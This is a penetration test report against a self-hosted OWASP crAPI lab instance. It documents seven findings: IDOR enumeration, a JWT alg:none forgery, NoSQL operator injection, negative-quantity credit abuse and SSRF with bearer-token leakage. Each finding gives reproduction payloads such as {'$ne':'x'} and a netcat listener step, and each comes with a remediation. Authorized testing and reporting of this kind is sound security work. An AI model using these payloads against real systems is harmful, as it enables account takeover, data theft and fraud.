crAPI API Penetration Test — Assessment Report

> **Status:** v1.0 — 7 confirmed findings. **Assessor:** Akash Govind **Report date:** 2026-10-21

---

1. Executive Summary

Testing the self-hosted crAPI instance against the OWASP API Security Top 10 (2023) produced seven confirmed findings: one Critical, two High, and four Medium. The Critical is a JWT `alg:none` authentication bypass (F-003) that lets an attacker forge a session for any user, collapsing the identity model. Authorization is broken systemically — three independent BOLA issues (F-001, F-002, F-004) expose other users' orders and service reports, including PII and VINs, by enumerating sequential IDs or filenames. Server-side request forgery (F-007) also makes the API leak a valid bearer token to an attacker-controlled host, NoSQL operator injection (F-006) bypasses coupon validation, and a negative-quantity order flaw (F-005) grants free account credit. The dominant themes are missing object-level authorization and unverified trust in client-supplied data — tokens, URLs, and query values; all CVSS scores assume a production deployment.

Severity	Count
Critical	1
High	2
Medium	4
Low	0
Info	0

---

2. Scope & Rules of Engagement

Target: OWASP crAPI (Completely Ridiculous API), self-hosted lab instance.

Item	Detail
Web / API base	`http://localhost:8888`
Mail capture (MailHog)	`http://localhost:8025`

Item	Detail
Deployment	Local Docker on Kali, single tester
Authorization	Self-owned instance; testing explicitly authorized by the operator (the tester)
Accounts	`attacker` account and `victim` account (both tester-controlled)
Test window	2026-10-20 → _ongoing_

In scope: All API services of the local instance (identity, workshop, community) and supporting infrastructure endpoints observed from the running instance.

Out of scope: Any host other than `localhost`; the underlying Docker/host OS; denial-of-service and destructive testing.

Rules of engagement: - No testing against any system other than this local instance. - Findings are confirmed by the tester with reproducible evidence before being recorded here. - CVSS scores assume a hypothetical **production** deployment (see §3), so they reflect technical severity, not the risk of this isolated lab box.

---

3. Methodology

Testing follows the **OWASP API Security Top 10 (2023)** as the classification and coverage framework:

ID	Category
API1:2023	Broken Object Level Authorization (BOLA)
API2:2023	Broken Authentication
API3:2023	Broken Object Property Level Authorization
API4:2023	Unrestricted Resource Consumption
API5:2023	Broken Function Level Authorization (BFLA)
API6:2023	Unrestricted Access to Sensitive Business Flows
API7:2023	Server Side Request Forgery (SSRF)
API8:2023	Security Misconfiguration
API9:2023	Improper Inventory Management
API10:202	Unsafe Consumption of APIs

ID	Category
3	

Process: 1. **Inventory** — enumerate endpoints, methods, identifier types, and the intended authorization model (see `endpoints.md`). 2. **Confirm** — the tester manually confirms each candidate issue with a reproducible request/response, captured in `evidence.md` with a timestamp. 3. **Classify** — map each confirmed finding to an API Top 10 category. 4. **Score** — assign a full **CVSS 3.1** vector (not just a number), with the production-deployment assumption noted. 5. **Root cause & remediation** — one-line root cause and a concrete fix.

Scoring note: All CVSS vectors are computed as though the API were internet-facing in production. The local lab (bound to `localhost`, no real users or data) materially lowers real-world risk; scores here measure the technical severity of the defect, not the exposure of this box.

---

4. Findings Summary Table

#	Title	API Top 10	CVSS 3.1	Severity	Status
F-001	IDOR on order details via `order_id`	API1 BOLA	6.5	Medium	Confirmed
F-002	IDOR on mechanic service report via `report_id`	API1 BOLA	6.5	Medium	Confirmed
F-003	JWT `alg:none` accepted — auth bypass / account takeover	API2 Broken Authentication	9.1	Critical	Confirmed
F-004	Unauthorized report download via predictable `filename`	API1 BOLA	6.5	Medium	Confirmed
F-005	Negative order quantity increases account credit	API6 Business Flows	6.5	Medium	Confirmed (mechanism pending)
F-006	NoSQL operator injection in coupon validation	CWE-943 (API8:2019)	8.1	High	Confirmed
F-007	SSRF via `mechanic_api` + bearer-token leak	API7 SSRF	8.5	High	Confirmed

---

5. Detailed Findings

Fixed template per finding. Nothing added until confirmed with evidence in `evidence.md`.

F-001

Field	
Title	IDOR on order details — any user reads any order via `order_id`
API Top 10	API1 Broken Object Level Authorization
Severity	6.5 Medium — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
Affected	GET `/workshop/api/shop/orders/{id}` (UI route `/orders?order_id=`)
Description	The order-details endpoint returns any order by integer ID without checking ownership. IDs are sequential, so all orders are enumerable.
Steps to repro	1. Log in as attacker (`ram`). 2. View own order `order_id=6` → billed to `ram123@gmail.com` (baseline). 3. Decrement to `order_id=5` → returns order billed to `admin@example.com`, a different user.
Evidence	UI screenshots (same `ram` session): `order_id=6` = ram's order; `order_id=5` = `admin@example.com`, phone `9010203040`, item Seat, $20. Raw API request/response: see `evidence.md` → F-001.
Impact	An authenticated user can read every customer's order details — email, phone, items, amounts — by enumerating IDs.
Root cause	No object-level authorization: the handler does not verify the order belongs to the requesting user.
Remediation	Enforce ownership server-side (`order.user == request.user`, else 403/404). Do not rely on sequential integer IDs for access control.

F-002

Field	
Title	IDOR on mechanic service report — any user reads any report via `report_id`
API Top 10	API1 Broken Object Level Authorization
Severity	6.5 Medium — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
Affected	GET `/workshop/api/mechanic/mechanic_report?report_id={id}` (UI route `/service-`

Field	
	`report?id=`)
Description	The service-report endpoint returns any report by integer ID without checking ownership. IDs are sequential, so all reports are enumerable.
Steps to repro	1. Log in as attacker (`ram`). 2. View own report `id=6` → owner `ram123@gmail.com` (baseline). 3. Decrement to `id=5` → returns report owned by `adam007@example.com`, a different user.
Evidence	UI screenshots (same `ram` session): `id=6` = ram's report; `id=5` = owner `adam007@example.com`, mechanic `james@example.com` / `TRAC_JME`, VIN `7ECOX34KJTV359804`, phone `9876895423` (in problem text). See `evidence.md` → F-002.
Impact	An authenticated user can read every service report — owner email/phone, assigned mechanic, and vehicle VIN — by enumerating IDs.
Root cause	No object-level authorization: the handler does not verify the report belongs to the requesting user.
Remediation	Enforce ownership server-side (`report.owner == request.user`, else 403/404). Do not key access on sequential integer IDs.

> Lead (not a finding): the exposed VIN feeds `GET /workshop/api/merchant/service_requests/{VIN}` — test for a chain.

F-003

Field	
Title	JWT signature not verified (`alg:none`) — authentication bypass and account takeover
API Top 10	API2 Broken Authentication
Severity	9.1 Critical — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
Affected	Signature verification absent across the identity service. Demonstrated on GET `/identity/api/v2/user/dashboard`.
Description	The API accepts JWTs with header `{"alg":"none"}` and no signature, trusting the `sub` claim without verification. An attacker can mint a valid session for any user.
Steps to repro	1. Authenticate as attacker (`ram`) and capture the RS256 token. 2. Forge a token: header `{"alg":"none"}`, `sub` = target email, empty signature. 3. Send as `Bearer` to the dashboard endpoint. 4. Response returns the target user's account data.

Field	
Evidence	`sub=ram123@gmail.com` → 200, `{"id":8,"name":"ram",...}` (control). `sub=suman@gmail.com` → 200, `{"id":9,"name":"suman","number":"1234567891","available_credit":100.0,...}` (victim). Both tokens carried `alg:none` and no signature. See `evidence.md` → F-003.
Impact	Full takeover of any account whose email is known or enumerable, and the ability to act as that user across the API.
Root cause	The JWT verification does not enforce an algorithm allowlist and accepts unsigned tokens.
Remediation	Reject any token whose `alg` is not the expected RS256. Verify the signature against the server public key using a library with an explicit algorithm allowlist. Never accept `none`.

F-004

Field	
Title	Unauthorized service-report download — any user fetches any report PDF via `filename`
API Top 10	API1 Broken Object Level Authorization
Severity	6.5 Medium — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
Affected	GET `/workshop/api/mechanic/download_report?filename={name}`
Description	The endpoint serves a report PDF by filename without checking the requester owns the report. Filenames follow `report_<n>` (sequential), so all reports are enumerable.
Steps to repro	1. As attacker (`ram`, RS256 token) request `?filename=report_6` → own report PDF (baseline). 2. Change to `?filename=report_5` with the same token → returns adam007's report PDF.
Evidence	Burp, same ram token (`sub=ram123@gmail.com`): `report_6` → 200, `Content-Disposition: inline; filename="report_6"`; `report_5` → 200, `filename="report_5"`. PDF contents: `report_5` = owner `adam007@example.com`, phone `9876895423`; `report_6` = owner `ram123@gmail.com`. See `evidence.md` → F-004.
Impact	An authenticated user can download every service-report PDF — owner PII, mechanic, VIN — by guessing sequential filenames.
Root cause	No object-level authorization on download, plus predictable filenames: ownership of the report is never checked against the caller.
Remediation	Verify the report belongs to the caller before serving. Use non-guessable identifiers

Field	
	(UUIDs) rather than `report_<n>`; do not pass user-controlled filenames to the file layer.

> Note: this is BOLA, not path traversal — no directory escape was demonstrated. A `../`-style payload returning a file outside the reports directory would be a separate, higher-severity finding.

F-005

Field	
Title	Negative order quantity increases account credit (free credit)
API Top 10	API6:2023 Unrestricted Access to Sensitive Business Flows (business-logic validation)
Severity	6.5 Medium — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N`
Affected	POST `/workshop/api/shop/orders`
Description	The order flow computes `charge = price × quantity` and `new_credit = old_credit − charge` without rejecting non-positive quantities. A negative quantity produces a negative charge, so the order *adds* credit.
Steps to repro	1. As attacker (`ram`), note credit = 100.0. 2. Place an order with `quantity = −1` for a $10 item (charge = −10). 3. Credit becomes 110.0.
Evidence	`products` response: `credit:100.0` (before) → `credit:110.0` (after) across order POST #1177. See `evidence.md` → F-005.
Impact	Any authenticated user can grant themselves unlimited store credit.
Root cause	No server-side validation that quantity is a positive integer; charge is not floored at 0.
Remediation	Reject `quantity <= 0` server-side; recompute price/charge from the catalog; clamp `charge >= 0`.

> Evidence gap: the order request body (showing `quantity = −1`) is not in the captured screenshots. The +10 credit delta and tester's model indicate the mechanism; attach the `POST /workshop/api/shop/orders` request/response to make it conclusive.

F-006

Field	
Title	NoSQL operator injection in coupon validation
Class	CWE-943 NoSQL Injection (maps to API8:2019 Injection; the API Top 10 2023 has no

Field	
	injection category)
Severity	8.1 High — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`
Affected	POST `/community/api/v2/coupon/validate-coupon`
Description	`coupon_code` is placed into a MongoDB query without type validation. Supplying an operator object instead of a string bypasses the exact-match check and returns a valid coupon.
Steps to repro	1. POST `{"coupon_code":"asdadasd"}` → rejected (input reaches the query). 2. POST `{"coupon_code":{"$ne":"x"}}` → 200 with a valid coupon.
Evidence	Response: `{"coupon_code":"TRAC075","amount":"75","CreatedAt":"2026-10-20T16:16:36.835Z"}`. See `evidence.md` → F-006.
Impact	Validation bypass → recover valid coupons (free credit) and enumerate the coupon collection via operator injection.
Root cause	User-controlled JSON used in a query without validating type.
Remediation	Validate `coupon_code` is a string; reject non-string types; configure the driver/ODM to block operator injection from user input.

> Scope of evidence: the `$ne` response proves confidentiality impact (coupon disclosure / collection enumeration = C:H). The integrity half (I:H — redeeming the recovered coupon for credit) is inferred; attach a redemption request/response to evidence it.

F-007

Field	
Title	Server-Side Request Forgery via `mechanic_api`, with bearer-token leakage
API Top 10	API7:2023 Server Side Request Forgery
Severity	8.5 High — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`
Affected	POST `/workshop/api/merchant/contact_mechanic` (`mechanic_api` field)
Description	The endpoint issues a server-side HTTP request to the URL supplied in `mechanic_api` with no validation or allowlist. The outbound request also carries the caller's `Authorization` bearer token.
Steps to repro	1. Start a listener on an attacker host (`nc -lvnp 9000`). 2. As attacker (`ram`), POST to `contact_mechanic` with `"mechanic_api":"http://172.17.0.1:9000/ssrf-test"`. 3. The

Field	
	listener receives a request from the internal app container.
Evidence	Listener received: `GET /ssrf-test?... HTTP/1.1`, `Host: 172.17.0.1:9000`, `User-Agent: python-requests/2.30.0`, source `172.19.0.10` (app container), and `Authorization: Bearer <token>`. See `evidence.md` → F-007.
Impact	An authenticated user makes the server send requests to arbitrary hosts (internal services reachable) and leaks a valid bearer token to an attacker-controlled endpoint.
Root cause	User-supplied URL is fetched server-side without an allowlist; the `Authorization` header is forwarded to the third-party URL.
Remediation	Restrict `mechanic_api` to an allowlist of known hosts; block internal/link-local/loopback ranges after DNS resolution; never forward the caller's `Authorization` to an outbound third-party request.

> Scope of evidence: full (non-blind) SSRF to an attacker-controlled listener is proven, plus token leakage. Reaching internal-only services was not demonstrated (would raise integrity impact).

---

6. Appendix: Endpoint Inventory

The authoritative, maintained inventory lives in `endpoints.md`. A snapshot may be pasted here for the final deliverable.